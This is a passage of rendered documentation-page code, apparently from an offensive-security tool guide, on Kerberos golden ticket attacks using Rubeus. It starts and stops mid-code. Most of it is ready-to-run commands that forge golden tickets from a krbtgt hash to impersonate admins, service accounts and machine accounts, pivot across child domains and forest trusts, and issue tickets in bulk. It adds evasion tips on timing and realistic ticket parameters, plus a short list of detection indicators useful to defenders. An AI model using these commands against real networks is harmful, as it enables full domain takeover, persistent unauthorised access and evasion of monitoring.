access`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`dir`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:` \\\\\\\\`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`dc01.corp.local`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\c`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`$`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Request service tickets`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` asktgs`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /service:cifs/fileserver.corp.local`})]}),`\n`]})})})]}),_jsxs(Step,{title:`Persistence Operations`,children:[_jsx(_components.p,{children:`Use the golden ticket for persistent access:`}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Save ticket for later use`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:golden.kirbi`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create additional tickets as needed`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:serviceaccount`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:513,1001`})]}),`\n`]})})})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`advanced-usage-scenarios`,children:`Advanced Usage Scenarios`}),`\n`,_jsxs(Tabs,{children:[_jsxs(Tab,{title:`Stealth Operations`,id:`stealth-operations`,children:[_jsx(Expandable,{title:`Realistic User Simulation`,defaultOpen:true,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create ticket for existing user with normal privileges`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:john.doe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:513`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /id:1001`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Gradually escalate with additional tickets`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:john.doe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:513,1001,1002`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Time-Based Evasion`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create ticket with realistic timing`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /authtime:\"10/25/2024 09:00:00\"`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /endtime:\"10/25/2024 17:00:00\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Short-lived ticket for specific operations`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /endtime:\"10/25/2024 23:59:59\"`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Service Account Impersonation`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Impersonate service accounts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:svc_sql`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:513`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /id:1100`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Machine account impersonation`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:COMPUTER`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`$ `}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`/rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:515`})]}),`\n`]})})})})]}),_jsxs(Tab,{title:`Cross-Domain Operations`,id:`cross-domain-operations`,children:[_jsx(Expandable,{title:`Child Domain Access`,defaultOpen:true,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target child domain`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:child.corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use parent domain KRBTGT for child access`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:child.corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:child_domain_sid`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:parent_krbtgt_hash`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Trust Relationships`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Cross-forest trust exploitation`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:partner.com`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:partner_domain_sid`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:trust_key`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Enterprise Admin across forest`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:519`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`})]}),`\n`]})})})})]}),_jsxs(Tab,{title:`Bulk Operations`,id:`bulk-operations`,children:[_jsx(Expandable,{title:`Multiple User Tickets`,defaultOpen:true,children:_jsx(CodeBlock,{filename:``,numberOfLines:`4`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`4`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create tickets for multiple users`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:admin.kirbi`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:backup_admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:backup.kirbi`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:service_admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:service.kirbi`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Different Privilege Levels`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Domain Admin level`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:domain_admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:512,513,518,519,520`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Standard user level`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:normal_user`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:513`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Service account level`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:svc_account`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:513,1001,1002`})]}),`\n`]})})})})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`opsec-considerations`,children:`OPSEC Considerations`}),`\n`,_jsx(Warning,{children:_jsxs(_components.p,{children:[_jsx(_components.strong,{children:`High-Impact Attack`}),`: Golden tickets provide complete domain access and can be detected through various monitoring techniques.`]})}),`\n`,_jsxs(Tabs,{children:[_jsxs(Tab,{title:`Detection Vectors`,id:`detection-vectors`,children:[_jsxs(Expandable,{title:`Ticket Analysis`,defaultOpen:true,children:[_jsx(_components.p,{children:_jsx(_components.strong,{children:`Unusual Ticket Characteristics:`})}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Tickets with 10-year validity periods`}),`\n`,_jsx(_components.li,{children:`Non-existent usernames in tickets`}),`\n`,_jsx(_components.li,{children:`Tickets created outside normal hours`}),`\n`,_jsx(_components.li,{children:`Unusual group memberships or privileges`}),`\n`]}),_jsx(_components.p,{children:_jsx(_components.strong,{children:`Behavioral Indicators:`})}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Authentication without prior logon events`}),`\n`,_jsx(_components.li,{children:`Access to resources without service ticket requests`}),`\n`,_jsx(_components.li,{children:`Privileged operations from low-privilege accounts`}),`\n`]})]}),_jsxs(Expandable,{title:`Event Log Monitoring`,children:[_jsx(_components.p,{children:_jsx(_components.strong,{children:`Windows Event Logs:`})}),_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Event 4769`}),`: Service ticket requests with unusual patterns`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Event 4768`}),`: TGT requests that don’t correlate with golden ticket usage`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Event 4624`}),`: Logon events that may not occur with golden tickets`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Event 4672`}),`: Special privileges assigned without normal authentication`]}),`\n`]})]}),_jsx(Expandable,{title:`Network Monitoring`,children:_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Kerberos traffic analysis for unusual patterns`}),`\n`,_jsx(_components.li,{children:`TGS requests without corresponding TGT requests`}),`\n`,_jsx(_components.li,{children:`Authentication to services without normal authentication flow`}),`\n`,_jsx(_components.li,{children:`Unusual timing patterns in authentication events`}),`\n`]})})]}),_jsxs(Tab,{title:`Evasion Techniques`,id:`evasion-techniques`,children:[_jsx(Expandable,{title:`Realistic Ticket Parameters`,defaultOpen:true,children:_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use realistic validity periods`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /endtime:\"12/31/2024 23:59:59\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use existing usernames`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:existing_admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use standard group memberships`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:512,513`})]}),`\n`]})})})}),_jsx(Expandable,{title:`Timing Considerations`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create tickets during business hours`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /authtime:\"10/25/2024 10:30:00\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use realistic authentication times`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` 